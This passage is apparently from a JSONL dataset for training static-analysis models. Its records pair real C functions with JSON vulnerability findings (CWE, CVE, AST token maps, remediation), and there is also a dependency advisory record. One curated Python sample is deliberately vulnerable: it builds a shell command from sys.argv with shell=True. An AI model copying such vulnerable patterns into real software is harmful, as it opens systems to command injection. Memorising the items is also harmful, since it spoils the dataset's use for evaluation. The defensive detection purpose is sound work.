oz_vendor_class_rsp)+1);\n\t\t}\n\t\tbreak;\n\tcase OZ_USB_ENDPOINT_DATA:\n\t\toz_usb_handle_ep_data(usb_ctx, usb_hdr, elt->length);\n\t\tbreak;\n\t}\ndone:\n\toz_usb_put(usb_ctx);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-4002\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 28,\n 29,\n 30,\n 31\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"oz_usb_rx\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 14\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 15\n },\n {\n \"token\": \"oz_pd\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 22\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \"pd\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"oz_elt\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"elt\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"oz_usb_hdr\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"usb_hdr\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"oz_usb_hdr\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 38\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 50\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 51\n },\n {\n \"token\": \"elt\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 52\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 56\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 3,\n \"col\": 58\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 59\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 60\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"oz_usb_ctx\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"usb_ctx\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"spin_lock_bh\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 13\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \"pd\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 17\n },\n {\n \"token\": \"app_lock\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 6,\n \"col\": 27\n },\n {\n \"token\": \"OZ_APPID_USB\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 6,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 41\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 42\n },\n {\n \"token\": \"usb_ctx\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 11\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"oz_usb_ctx\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 19\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 31\n },\n {\n \"token\": \"pd\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 32\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 34\n },\n {\n \"token\": \"app_ctx\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 36\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 7,\n \"col\": 43\n },\n {\n \"token\": \"OZ_APPID_USB\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 44\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 7,\n \"col\": 56\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 57\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the python source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "import subprocess\ndef convert():\n raw = sys.argv[1]\n subprocess.call('convert ' + raw + ' out.png', shell=True)\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via subprocess shell=True\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"expression_statement\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"subprocess\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"call\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_start\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"convert \",\n \"ast_node\": \"string_content\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_end\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \"raw\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 37\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_start\",\n \"line\": 4,\n \"col\": 39\n },\n {\n \"token\": \" out.png\",\n \"ast_node\": \"string_content\",\n \"line\": 4,\n \"col\": 40\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_end\",\n \"line\": 4,\n \"col\": 48\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 49\n },\n {\n \"token\": \"shell\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 51\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 56\n },\n {\n \"token\": \"True\",\n \"ast_node\": \"true\",\n \"line\": 4,\n \"col\": 57\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 61\n }\n ],\n \"explanation\": \"shell=True with concatenated input lets an attacker inject shell metacharacters.\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int jpc_ppt_getparms(jpc_ms_t *ms, jpc_cstate_t *cstate, jas_stream_t *in)\n{\n\tjpc_ppt_t *ppt = &ms->parms.ppt;\n\n\t/* Eliminate compiler warning about unused variables. */\n\tcstate = 0;\n\n\tppt->data = 0;\n\n\tif (ms->len < 1) {\n\t\tgoto error;\n\t}\n\tif (jpc_getuint8(in, &ppt->ind)) {\n\t\tgoto error;\n\t}\n\tppt->len = ms->len - 1;\n\tif (ppt->len > 0) {\n\t\tif (!(ppt->data = jas_malloc(ppt->len))) {\n\t\t\tgoto error;\n\t\t}\n\t\tif (jas_stream_read(in, (char *) ppt->data, ppt->len) != JAS_CAST(int, ppt->len)) {\n\t\t\tgoto error;\n\t\t}\n\t} else {\n\t\tppt->data = 0;\n\t}\n\treturn 0;\n\nerror:\n\tjpc_ppt_destroyparms(ms);\n\treturn -1;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"jasper\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void virtio_blk_handle_read(VirtIOBlockReq *req)\n{\n BlockDriverAIOCB *acb;\n uint64_t sector;\n\n sector = ldq_p(&req->out->sector);\n\n if (sector & req->dev->sector_mask) {\n virtio_blk_rw_complete(req, -EIO);\n return;\n }\n\n acb = bdrv_aio_readv(req->dev->bs, sector, &req->qiov,\n req->qiov.size / BDRV_SECTOR_SIZE,\n virtio_blk_rw_complete, req);\n if (!acb) {\n virtio_blk_rw_complete(req, -EIO);\n }\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"qemu-kvm\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.1.192-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: wifi: libipw: reject TKIP frames without a full MIC libipw_michael_mic_verify() assumes that an skb contains an eight-byte Michael...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2026-98193\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.1.192-1\",\n \"fixed_version\": \"6.1.192-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: wifi: libipw: reject TKIP frames without a full MIC libipw_michael_mic_verify() assumes that an skb contains an eight-byte Michael...\",\n \"remediation\": \"Upgrade linux to 6.1.192-1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "BOOL ber_read_contextual_tag(wStream* s, BYTE tag, int* length, BOOL pc)\n{\n\tBYTE byte;\n\n\tif(Stream_GetRemainingLength(s) < 1)\n\t\treturn FALSE;\n\tStream_Read_UINT8(s, byte);\n\n\tif (byte != ((BER_CLASS_CTXT | BER_PC(pc)) | (BER_TAG_MASK & tag)))\n\t{\n\t\tStream_Rewind(s, 1);\n\t\treturn FALSE;\n\t}\n\n\treturn ber_read_length(s, length);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"project\": \"FreeRDP\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void rekey_seq_generator(struct work_struct *work)\n {\n\tstruct keydata *keyptr = &ip_keydata[1 ^ (ip_cnt & 1)];\n\tget_random_bytes(keyptr->secret, sizeof(keyptr->secret));\n\tkeyptr->count = (ip_cnt & COUNT_MASK) << HASH_BITS;\n\tsmp_wmb();\n\tip_cnt++;\n\tschedule_delayed_work(&rekey_work,\n\t\t\t round_jiffies_relative(REKEY_INTERVAL));\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-3188\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"rekey_seq_generator\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"work_struct\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \"work\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"keydata\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"keyptr\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"ip_keydata\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 3,\n \"col\": 38\n },\n {\n \"token\": \"^\",\n \"ast_node\": \"^\",\n \"line\": 3,\n \"col\": 40\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 42\n },\n {\n \"token\": \"ip_cnt\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 43\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 3,\n \"col\": 50\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 3,\n \"col\": 52\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 53\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 3,\n \"col\": 54\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 55\n },\n {\n \"token\": \"get_random_bytes\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"keyptr\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"secret\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 32\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 40\n },\n {\n \"token\": \"keyptr\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 41\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 47\n },\n {\n \"token\": \"secret\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 55\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 56\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 57\n },\n {\n \"token\": \"keyptr\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"count\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \"ip_cnt\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 18\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 5,\n \"col\": 25\n },\n {\n \"token\": \"COUNT_MASK\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 37\n },\n {\n \"token\": \"<<\",\n \"ast_node\": \"<<\",\n \"line\": 5,\n \"col\": 39\n },\n {\n \"token\": \"HASH_BITS\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 42\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 51\n },\n {\n \"token\": \"smp_wmb\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \"ip_cnt\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 7,\n \"col\": 7\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 9\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int udp_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,\n\t\tsize_t len, int noblock, int flags, int *addr_len)\n{\n\tstruct inet_sock *inet = inet_sk(sk);\n\tstruct sockaddr_in *sin = (struct sockaddr_in *)msg->msg_name;\n\tstruct sk_buff *skb;\n\tunsigned int ulen, copied;\n\tint peeked, off = 0;\n\tint err;\n\tint is_udplite = IS_UDPLITE(sk);\n\tbool slow;\n\n\t/*\n\t *\tCheck any passed addresses\n\t */\n\tif (addr_len)\n\t\t*addr_len = sizeof(*sin);\n\n\tif (flags & MSG_ERRQUEUE)\n\t\treturn ip_recv_error(sk, msg, len);\n\ntry_again:\n\tskb = __skb_recv_datagram(sk, flags | (noblock ? MSG_DONTWAIT : 0),\n\t\t\t\t &peeked, &off, &err);\n\tif (!skb)\n\t\tgoto out;\n\n\tulen = skb->len - sizeof(struct udphdr);\n\tcopied = len;\n\tif (copied > ulen)\n\t\tcopied = ulen;\n\telse if (copied < ulen)\n\t\tmsg->msg_flags |= MSG_TRUNC;\n\n\t/*\n\t * If checksum is needed at all, try to do it while copying the\n\t * data. If the data is truncated, or if we only want a partial\n\t * coverage checksum (UDP-Lite), do it before the copy.\n\t */\n\n\tif (copied < ulen || UDP_SKB_CB(skb)->partial_cov) {\n\t\tif (udp_lib_checksum_complete(skb))\n\t\t\tgoto csum_copy_err;\n\t}\n\n\tif (skb_csum_unnecessary(skb))\n\t\terr = skb_copy_datagram_iovec(skb, sizeof(struct udphdr),\n\t\t\t\t\t msg->msg_iov, copied);\n\telse {\n\t\terr = skb_copy_and_csum_datagram_iovec(skb,\n\t\t\t\t\t\t sizeof(struct udphdr),\n\t\t\t\t\t\t msg->msg_iov);\n\n\t\tif (err == -EINVAL)\n\t\t\tgoto csum_copy_err;\n\t}\n\n\tif (unlikely(err)) {\n\t\ttrace_kfree_skb(skb, udp_recvmsg);\n\t\tif (!peeked) {\n\t\t\tatomic_inc(&sk->sk_drops);\n\t\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\t UDP_MIB_INERRORS, is_udplite);\n\t\t}\n\t\tgoto out_free;\n\t}\n\n\tif (!peeked)\n\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\tUDP_MIB_INDATAGRAMS, is_udplite);\n\n\tsock_recv_ts_and_drops(msg, sk, skb);\n\n\t/* Copy the address. */\n\tif (sin) {\n\t\tsin->sin_family = AF_INET;\n\t\tsin->sin_port = udp_hdr(skb)->source;\n\t\tsin->sin_addr.s_addr = ip_hdr(skb)->saddr;\n\t\tmemset(sin->sin_zero, 0, sizeof(sin->sin_zero));\n\t}\n\tif (inet->cmsg_flags)\n\t\tip_cmsg_recv(msg, skb);\n\n\terr = copied;\n\tif (flags & MSG_TRUNC)\n\t\terr = ulen;\n\nout_free:\n\tskb_free_datagram_locked(sk, skb);\nout:\n\treturn err;\n\ncsum_copy_err:\n\tslow = lock_sock_fast(sk);\n\tif (!skb_kill_datagram(sk, skb, flags)) {\n\t\tUDP_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite);\n\t\tUDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite);\n\t}\n\tunlock_sock_fast(sk, slow);\n\n\tif (noblock)\n\t\treturn -EAGAIN;\n\n\t/* starting over for a new packet */\n\tmsg->msg_flags &= ~MSG_TRUNC;\n\tgoto try_again;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"project\": \"net\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int dccp_print_option(netdissect_options *ndo, const u_char *option, u_int hlen)\n {\n \tuint8_t optlen, i;\n \n\tND_TCHECK(*option);\n\n\tif (*option >= 32) {\n\t\tND_TCHECK(*(option+1));\n\t\toptlen = *(option +1);\n\t\tif (optlen < 2) {\n\t\t\tif (*option >= 128)\n\t\t\t\tND_PRINT((ndo, \"CCID option %u optlen too short\", *option));\n\t\t\telse\n\t\t\t\tND_PRINT((ndo, \"%s optlen too short\",\n\t\t\t\t\t tok2str(dccp_option_values, \"Option %u\", *option)));\n\t\t\treturn 0;\n\t\t}\n\t} else\n\t\toptlen = 1;\n\n\tif (hlen < optlen) {\n\t\tif (*option >= 128)\n\t\t\tND_PRINT((ndo, \"CCID option %u optlen goes past header length\",\n\t\t\t\t *option));\n\t\telse\n\t\t\tND_PRINT((ndo, \"%s optlen goes past header length\",\n\t\t\t\t tok2str(dccp_option_values, \"Option %u\", *option)));\n\t\treturn 0;\n\t}\n\tND_TCHECK2(*option, optlen);\n\n\tif (*option >= 128) {\n\t\tND_PRINT((ndo, \"CCID option %d\", *option));\n\t\tswitch (optlen) {\n\t\t\tcase 4:\n\t\t\t\tND_PRINT((ndo, \" %u\", EXTRACT_16BITS(option + 2)));\n\t\t\t\tbreak;\n\t\t\tcase 6:\n\t\t\t\tND_PRINT((ndo, \" %u\", EXTRACT_32BITS(option + 2)));\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\t} else {\n\t\tND_PRINT((ndo, \"%s\", tok2str(dccp_option_values, \"Option %u\", *option)));\n\t\tswitch (*option) {\n\t\tcase 32:\n\t\tcase 33:\n\t\tcase 34:\n\t\tcase 35:\n\t\t\tif (optlen < 3) {\n\t\t\t\tND_PRINT((ndo, \" optlen too short\"));\n\t\t\t\treturn optlen;\n\t\t\t}\n\t\t\tif (*(option + 2) < 10){\n\t\t\t\tND_PRINT((ndo, \" %s\", dccp_feature_nums[*(option + 2)]));\n\t\t\t\tfor (i = 0; i < optlen - 3; i++)\n\t\t\t\t\tND_PRINT((ndo, \" %d\", *(option + 3 + i)));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 36:\n\t\t\tif (optlen > 2) {\n\t\t\t\tND_PRINT((ndo, \" 0x\"));\n\t\t\t\tfor (i = 0; i < optlen - 2; i++)\n\t\t\t\t\tND_PRINT((ndo, \"%02x\", *(option + 2 + i)));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 37:\n\t\t\tfor (i = 0; i < optlen - 2; i++)\n\t\t\t\tND_PRINT((ndo, \" %d\", *(option + 2 + i)));\n\t\t\tbreak;\n\t\tcase 38:\n\t\t\tif (optlen > 2) {\n\t\t\t\tND_PRINT((ndo, \" 0x\"));\n\t\t\t\tfor (i = 0; i < optlen - 2; 